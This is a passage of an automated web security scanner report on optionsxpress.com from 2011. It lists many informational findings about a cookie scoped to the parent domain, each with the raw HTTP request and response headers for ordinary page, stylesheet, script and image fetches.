Cookie: Firm=OX; TLTSID=AF390C804BE14C3A1579AEAAAD65A123; TLTHID=DE89B10E4F7083341F7D2AB6DC49FE17; mbox=check#true#1315527980|session#1315527919598-875378#1315529780

Response

HTTP/1.1 404 Not Found
Cache-Control: private
Content-Length: 15335
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Set-Cookie: TLTHID=B7B8CAE441A79F28A820CD92711B9316; Path=/; Domain=.optionsxpress.com
Date: Thu, 08 Sep 2011 19:24:41 GMT
Vary: Accept-Encoding
Connection: Keep-Alive

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
   "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
   <head>
       <titl
...[SNIP]...

9.82. http://www.optionsxpress.com/images/welcome/home/open_account_4.gif previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.optionsxpress.com
Path:	/images/welcome/home/open_account_4.gif

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

TLTHID=33DB87124BC0F05E3333A1912CEC33AA; Path=/; Domain=.optionsxpress.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /images/welcome/home/open_account_4.gif HTTP/1.1
Host: www.optionsxpress.com
Proxy-Connection: keep-alive
Referer: http://www.optionsxpress.com/promos/experience_an_options_specialist.aspx?intcmp=lp_sales_futures&cmpid=gsus23305007&ef_id=zqROZUBXyFQAAIdR:20110908192437:s
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: Firm=OX; TLTSID=AF390C804BE14C3A1579AEAAAD65A123; TLTHID=DE89B10E4F7083341F7D2AB6DC49FE17; mbox=check#true#1315527980|session#1315527919598-875378#1315529780

Response

HTTP/1.1 200 OK
Content-Length: 43
Content-Type: image/gif
Last-Modified: Wed, 18 May 2011 15:39:54 GMT
Accept-Ranges: bytes
ETag: "d7ffadd57115cc1:1878"
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Set-Cookie: TLTHID=33DB87124BC0F05E3333A1912CEC33AA; Path=/; Domain=.optionsxpress.com
Date: Thu, 08 Sep 2011 19:24:41 GMT

GIF89a.............!.......,...........D..;

9.83. http://www.optionsxpress.com/inc/css/fonts.css previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.optionsxpress.com
Path:	/inc/css/fonts.css

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

TLTHID=D8D6708B4FD4951D7D49549B550A7D35; Path=/; Domain=.optionsxpress.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /inc/css/fonts.css HTTP/1.1
Host: www.optionsxpress.com
Proxy-Connection: keep-alive
Referer: http://www.optionsxpress.com/promos/experience_an_options_specialist.aspx?intcmp=lp_sales_futures&cmpid=gsus23305007&ef_id=zqROZUBXyFQAAIdR:20110908192437:s
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/css,*/*;q=0.1
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: Firm=OX; TLTSID=AF390C804BE14C3A1579AEAAAD65A123; TLTHID=7C8B1C7F4AFB6F7AAC1E08B8CCC82FA9

Response

HTTP/1.1 200 OK
Content-Type: text/css
Last-Modified: Wed, 26 Jan 2011 17:22:07 GMT
Accept-Ranges: bytes
ETag: "ddafed8e7dbdcb1:1003"
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Set-Cookie: TLTHID=D8D6708B4FD4951D7D49549B550A7D35; Path=/; Domain=.optionsxpress.com
Date: Thu, 08 Sep 2011 19:24:40 GMT
Vary: Accept-Encoding
Content-Length: 398865

@font-face {
font-family: 'Avenir';
src: local('...'), url(data:font/ttf;charset=utf-8;base64,AAEAAAAQAQAABAAARkZUTVrKoYEAAAEMAAAAHEdERUYEHALoAAABKAAAAERPUy8ymFMrRAAAAWwAAABgY21hcJ+9QgQAAAHMAAAB0mN2
...[SNIP]...

9.84. http://www.optionsxpress.com/inc/css/nav.css previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.optionsxpress.com
Path:	/inc/css/nav.css

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

TLTHID=EF6A174C4F8A82EC6AAA8D88589E4FD2; Path=/; Domain=.optionsxpress.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /inc/css/nav.css HTTP/1.1
Host: www.optionsxpress.com
Proxy-Connection: keep-alive
Referer: http://www.optionsxpress.com/promos/experience_an_options_specialist.aspx?intcmp=lp_sales_futures&cmpid=gsus23305007&ef_id=zqROZUBXyFQAAIdR:20110908192437:s
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/css,*/*;q=0.1
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: Firm=OX; TLTHID=AF390C804BE14C3A1579AEAAAD65A123; TLTSID=AF390C804BE14C3A1579AEAAAD65A123

Response

HTTP/1.1 404 Not Found
Cache-Control: private
Content-Length: 15335
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Set-Cookie: TLTHID=EF6A174C4F8A82EC6AAA8D88589E4FD2; Path=/; Domain=.optionsxpress.com
Date: Thu, 08 Sep 2011 19:24:39 GMT
Vary: Accept-Encoding
Connection: Keep-Alive

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
   "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
   <head>
       <titl
...[SNIP]...

9.85. http://www.optionsxpress.com/inc/css/print.css previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.optionsxpress.com
Path:	/inc/css/print.css

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

TLTHID=FBF0413E4A3D95D87425BCBE085769C7; Path=/; Domain=.optionsxpress.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /inc/css/print.css HTTP/1.1
Host: www.optionsxpress.com
Proxy-Connection: keep-alive
Referer: http://www.optionsxpress.com/promos/experience_an_options_specialist.aspx?intcmp=lp_sales_futures&cmpid=gsus23305007&ef_id=zqROZUBXyFQAAIdR:20110908192437:s
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/css,*/*;q=0.1
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: Firm=OX; TLTSID=AF390C804BE14C3A1579AEAAAD65A123; mbox=check#true#1315527980|session#1315527919598-875378#1315529780|PC#1315527919598-875378.19#1316737521; TLTHID=FB0DC0464C7379B04E0F409D15B5A47F

Response

HTTP/1.1 200 OK
Content-Length: 1497
Content-Type: text/css
Last-Modified: Fri, 05 Aug 2011 15:10:14 GMT
Accept-Ranges: bytes
ETag: "4e322dc78153cc1:1003"
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Set-Cookie: TLTHID=FBF0413E4A3D95D87425BCBE085769C7; Path=/; Domain=.optionsxpress.com
Date: Thu, 08 Sep 2011 19:24:43 GMT
Vary: Accept-Encoding
Connection: Keep-Alive

/* -----------------------------------------------------------------------

Blueprint CSS Framework 1.0
http://blueprintcss.org

* Copyright (c) 2007-Present. See LICENSE for more info.

...[SNIP]...

9.86. http://www.optionsxpress.com/inc/css/screen.css previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.optionsxpress.com
Path:	/inc/css/screen.css

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

TLTHID=DACC901F4112EE44A3EEF6BEA615CEAA; Path=/; Domain=.optionsxpress.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /inc/css/screen.css HTTP/1.1
Host: www.optionsxpress.com
Proxy-Connection: keep-alive
Referer: http://www.optionsxpress.com/promos/experience_an_options_specialist.aspx?intcmp=lp_sales_futures&cmpid=gsus23305007&ef_id=zqROZUBXyFQAAIdR:20110908192437:s
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/css,*/*;q=0.1
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: Firm=OX; TLTSID=AF390C804BE14C3A1579AEAAAD65A123; TLTHID=7C8B1C7F4AFB6F7AAC1E08B8CCC82FA9

Response

HTTP/1.1 200 OK
Content-Length: 12224
Content-Type: text/css
Last-Modified: Tue, 01 Feb 2011 15:47:27 GMT
Accept-Ranges: bytes
ETag: "a7cef15327c2cb1:1003"
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Set-Cookie: TLTHID=DACC901F4112EE44A3EEF6BEA615CEAA; Path=/; Domain=.optionsxpress.com
Date: Thu, 08 Sep 2011 19:24:40 GMT
Vary: Accept-Encoding
Connection: Keep-Alive

/* -----------------------------------------------------------------------

Blueprint CSS Framework 1.0
http://blueprintcss.org

* Copyright (c) 2007-Present. See LICENSE for more info.
* See
...[SNIP]...

9.87. http://www.optionsxpress.com/inc/css/styles.css previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.optionsxpress.com
Path:	/inc/css/styles.css

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

TLTHID=7C8B1C7F4AFB6F7AAC1E08B8CCC82FA9; Path=/; Domain=.optionsxpress.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /inc/css/styles.css HTTP/1.1
Host: www.optionsxpress.com
Proxy-Connection: keep-alive
Referer: http://www.optionsxpress.com/promos/experience_an_options_specialist.aspx?intcmp=lp_sales_futures&cmpid=gsus23305007&ef_id=zqROZUBXyFQAAIdR:20110908192437:s
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/css,*/*;q=0.1
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: Firm=OX; TLTHID=AF390C804BE14C3A1579AEAAAD65A123; TLTSID=AF390C804BE14C3A1579AEAAAD65A123

Response

HTTP/1.1 200 OK
Content-Length: 82959
Content-Type: text/css
Last-Modified: Thu, 14 Apr 2011 20:28:55 GMT
Accept-Ranges: bytes
ETag: "56454d93e2facb1:11f7"
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Set-Cookie: TLTHID=7C8B1C7F4AFB6F7AAC1E08B8CCC82FA9; Path=/; Domain=.optionsxpress.com
Date: Thu, 08 Sep 2011 19:24:38 GMT
Vary: Accept-Encoding
Connection: Keep-Alive

/* CSS3 Fonts */
@import "/inc/css/fonts.css";
/* Blueprint CSS Framework */
@import "/inc/css/screen.css";
/* jQuery UI */
@import "/inc/css/ui.css";
/* Navigation Menu */
@import "/inc/css/na
...[SNIP]...

9.88. http://www.optionsxpress.com/inc/css/ui.css previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.optionsxpress.com
Path:	/inc/css/ui.css

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

TLTHID=DE89B10E4F7083341F7D2AB6DC49FE17; Path=/; Domain=.optionsxpress.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /inc/css/ui.css HTTP/1.1
Host: www.optionsxpress.com
Proxy-Connection: keep-alive
Referer: http://www.optionsxpress.com/promos/experience_an_options_specialist.aspx?intcmp=lp_sales_futures&cmpid=gsus23305007&ef_id=zqROZUBXyFQAAIdR:20110908192437:s
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/css,*/*;q=0.1
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: Firm=OX; TLTSID=AF390C804BE14C3A1579AEAAAD65A123; TLTHID=7C8B1C7F4AFB6F7AAC1E08B8CCC82FA9

Response

HTTP/1.1 200 OK
Content-Length: 28631
Content-Type: text/css
Last-Modified: Tue, 12 Apr 2011 16:23:21 GMT
Accept-Ranges: bytes
ETag: "4985d1f02df9cb1:1878"
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Set-Cookie: TLTHID=DE89B10E4F7083341F7D2AB6DC49FE17; Path=/; Domain=.optionsxpress.com
Date: Thu, 08 Sep 2011 19:24:39 GMT
Vary: Accept-Encoding
Connection: Keep-Alive

.ui-helper-hidden { display: none; }
.ui-helper-hidden-accessible { position: absolute !important; clip: rect(1px 1px 1px 1px); clip: rect(1px,1px,1px,1px); }
.ui-helper-reset { margin: 0; padding: 0;
...[SNIP]...

9.89. http://www.optionsxpress.com/inc/general.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.optionsxpress.com
Path:	/inc/general.js

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

TLTHID=1F7A609F4712C324D98618822A48CA7B; Path=/; Domain=.optionsxpress.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /inc/general.js HTTP/1.1
Host: www.optionsxpress.com
Proxy-Connection: keep-alive
Referer: http://www.optionsxpress.com/promos/experience_an_options_specialist.aspx?intcmp=lp_sales_futures&cmpid=gsus23305007&ef_id=zqROZUBXyFQAAIdR:20110908192437:s
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: Firm=OX; TLTHID=AF390C804BE14C3A1579AEAAAD65A123; TLTSID=AF390C804BE14C3A1579AEAAAD65A123

Response

HTTP/1.1 200 OK
Content-Length: 353785
Content-Type: application/x-javascript
Last-Modified: Tue, 31 May 2011 14:21:06 GMT
Accept-Ranges: bytes
ETag: "5ccde7fa9d1fcc1:1c1f"
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Set-Cookie: TLTHID=1F7A609F4712C324D98618822A48CA7B; Path=/; Domain=.optionsxpress.com
Date: Thu, 08 Sep 2011 19:24:38 GMT
Vary: Accept-Encoding
Connection: Keep-Alive

// SV 5/16/08 cdn_path is the url of the akamai servers. this checks to see if the cdn_path is defined on the page, and if not assignes it a value of null
try {
   if(cdn_path) {
       // do nothing
   }
...[SNIP]...

9.90. http://www.optionsxpress.com/inc/js/library.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.optionsxpress.com
Path:	/inc/js/library.js

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

TLTHID=160C0A0240749D5BBE2BCAB62A01C888; Path=/; Domain=.optionsxpress.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /inc/js/library.js HTTP/1.1
Host: www.optionsxpress.com
Proxy-Connection: keep-alive
Referer: http://www.optionsxpress.com/promos/experience_an_options_specialist.aspx?intcmp=lp_sales_futures&cmpid=gsus23305007&ef_id=zqROZUBXyFQAAIdR:20110908192437:s
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: Firm=OX; TLTHID=AF390C804BE14C3A1579AEAAAD65A123; TLTSID=AF390C804BE14C3A1579AEAAAD65A123

Response

9.91. http://www.optionsxpress.com/inc/js/stats.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.optionsxpress.com
Path:	/inc/js/stats.js

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

TLTHID=A8A1FAB14569D172B2EDD88EE7023B03; Path=/; Domain=.optionsxpress.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /inc/js/stats.js HTTP/1.1
Host: www.optionsxpress.com
Proxy-Connection: keep-alive
Referer: http://www.optionsxpress.com/promos/experience_an_options_specialist.aspx?intcmp=lp_sales_futures&cmpid=gsus23305007&ef_id=zqROZUBXyFQAAIdR:20110908192437:s
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: Firm=OX; TLTHID=AF390C804BE14C3A1579AEAAAD65A123; TLTSID=AF390C804BE14C3A1579AEAAAD65A123

Response

9.92. http://www.optionsxpress.com/inc/js/xpress.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.optionsxpress.com
Path:	/inc/js/xpress.js

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

TLTHID=84BED26B483FAA99856E1BA65F2756BD; Path=/; Domain=.optionsxpress.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /inc/js/xpress.js HTTP/1.1
Host: www.optionsxpress.com
Proxy-Connection: keep-alive
Referer: http://www.optionsxpress.com/promos/experience_an_options_specialist.aspx?intcmp=lp_sales_futures&cmpid=gsus23305007&ef_id=zqROZUBXyFQAAIdR:20110908192437:s
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: Firm=OX; TLTHID=AF390C804BE14C3A1579AEAAAD65A123; TLTSID=AF390C804BE14C3A1579AEAAAD65A123

Response

HTTP/1.1 200 OK
Content-Length: 15383
Content-Type: application/x-javascript
Last-Modified: Mon, 16 May 2011 19:05:07 GMT
Accept-Ranges: bytes
ETag: "8033892bfc13cc1:11f7"
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Set-Cookie: TLTHID=84BED26B483FAA99856E1BA65F2756BD; Path=/; Domain=.optionsxpress.com
Date: Thu, 08 Sep 2011 19:24:38 GMT
Vary: Accept-Encoding
Connection: Keep-Alive

// *********** Global Variables ***********
var oxVars            = {};
oxVars.cdn            = '';
oxVars.firm            = '';
oxVars.sessionID    = null;
// ********* END Global Variables *********

$(document).ready(o
...[SNIP]...

9.93. http://www.optionsxpress.com/index.aspx previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.optionsxpress.com
Path:	/index.aspx

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

TLTHID=107E93BD465512E40B5A70B74A34183A; Path=/; Domain=.optionsxpress.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /index.aspx HTTP/1.1
Host: www.optionsxpress.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 19223
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Set-Cookie: TLTHID=107E93BD465512E40B5A70B74A34183A; Path=/; Domain=.optionsxpress.com
Date: Thu, 08 Sep 2011 19:47:43 GMT
Connection: close
Vary: Accept-Encoding

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<title>
...[SNIP]...

9.94. http://www.optionsxpress.com/our_products/futures.aspx previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.optionsxpress.com
Path:	/our_products/futures.aspx

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

TLTHID=6440376E42918CD8B2CA6C93434774A7; Path=/; Domain=.optionsxpress.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /our_products/futures.aspx HTTP/1.1
Host: www.optionsxpress.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 17366
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Set-Cookie: TLTHID=6440376E42918CD8B2CA6C93434774A7; Path=/; Domain=.optionsxpress.com
Date: Thu, 08 Sep 2011 19:47:36 GMT
Connection: close
Vary: Accept-Encoding

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<title>
...[SNIP]...

9.95. http://www.optionsxpress.com/our_products/more_choices.aspx previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.optionsxpress.com
Path:	/our_products/more_choices.aspx

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

TLTHID=D25B11E6448CFB6AF7D08BAD666AE1C0; Path=/; Domain=.optionsxpress.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /our_products/more_choices.aspx HTTP/1.1
Host: www.optionsxpress.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 15988
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Set-Cookie: TLTHID=D25B11E6448CFB6AF7D08BAD666AE1C0; Path=/; Domain=.optionsxpress.com
Date: Thu, 08 Sep 2011 19:47:38 GMT
Connection: close
Vary: Accept-Encoding

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<title>
...[SNIP]...

9.96. http://www.optionsxpress.com/our_products/options.aspx previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.optionsxpress.com
Path:	/our_products/options.aspx

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

TLTHID=F0AB4137413D5F1C754265B218B191B8; Path=/; Domain=.optionsxpress.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /our_products/options.aspx HTTP/1.1
Host: www.optionsxpress.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 16905
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Set-Cookie: TLTHID=F0AB4137413D5F1C754265B218B191B8; Path=/; Domain=.optionsxpress.com
Date: Thu, 08 Sep 2011 19:47:37 GMT
Connection: close
Vary: Accept-Encoding

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<title>
...[SNIP]...

9.97. http://www.optionsxpress.com/our_products/stocks.aspx previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.optionsxpress.com
Path:	/our_products/stocks.aspx

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

TLTHID=61C1D4C340663C2F694DFDB17219CAA8; Path=/; Domain=.optionsxpress.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /our_products/stocks.aspx HTTP/1.1
Host: www.optionsxpress.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 16497
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Set-Cookie: TLTHID=61C1D4C340663C2F694DFDB17219CAA8; Path=/; Domain=.optionsxpress.com
Date: Thu, 08 Sep 2011 19:47:36 GMT
Connection: close
Vary: Accept-Encoding

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<title>
...[SNIP]...

9.98. http://www.optionsxpress.com/promos/experience_an_options_specialist.aspx previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.optionsxpress.com
Path:	/promos/experience_an_options_specialist.aspx

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

TLTHID=DF3642BF4CCA46E3BCB4B2AC904A07B2; Path=/; Domain=.optionsxpress.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /promos/experience_an_options_specialist.aspx?intcmp=lp_sales_futures&cmpid=gsus23305007&ef_id=zqROZUBXyFQAAIdR:20110908192437:s HTTP/1.1
Host: www.optionsxpress.com
Proxy-Connection: keep-alive
Referer: http://www.google.com/search?sourceid=chrome&ie=UTF-8&q=futures+trading
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

9.99. http://www.optionsxpress.com/promos/none previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.optionsxpress.com
Path:	/promos/none

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

TLTHID=D05DC917430831B031060D84F9F27197; Path=/; Domain=.optionsxpress.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /promos/none HTTP/1.1
Host: www.optionsxpress.com
Proxy-Connection: keep-alive
Referer: http://www.optionsxpress.com/promos/experience_an_options_specialist.aspx?intcmp=lp_sales_futures&cmpid=gsus23305007&ef_id=zqROZUBXyFQAAIdR:20110908192437:s
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: Firm=OX; TLTSID=AF390C804BE14C3A1579AEAAAD65A123; mbox=check#true#1315527980|session#1315527919598-875378#1315529780|PC#1315527919598-875378.19#1316737521; TLTHID=FB0DC0464C7379B04E0F409D15B5A47F

Response

HTTP/1.1 404 Not Found
Cache-Control: private
Content-Length: 15335
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Set-Cookie: TLTHID=D05DC917430831B031060D84F9F27197; Path=/; Domain=.optionsxpress.com
Date: Thu, 08 Sep 2011 19:24:45 GMT
Vary: Accept-Encoding
Connection: Keep-Alive

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
   "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
   <head>
       <titl
...[SNIP]...

9.100. http://www.optionsxpress.com/security_risks/disclosures.aspx previous next

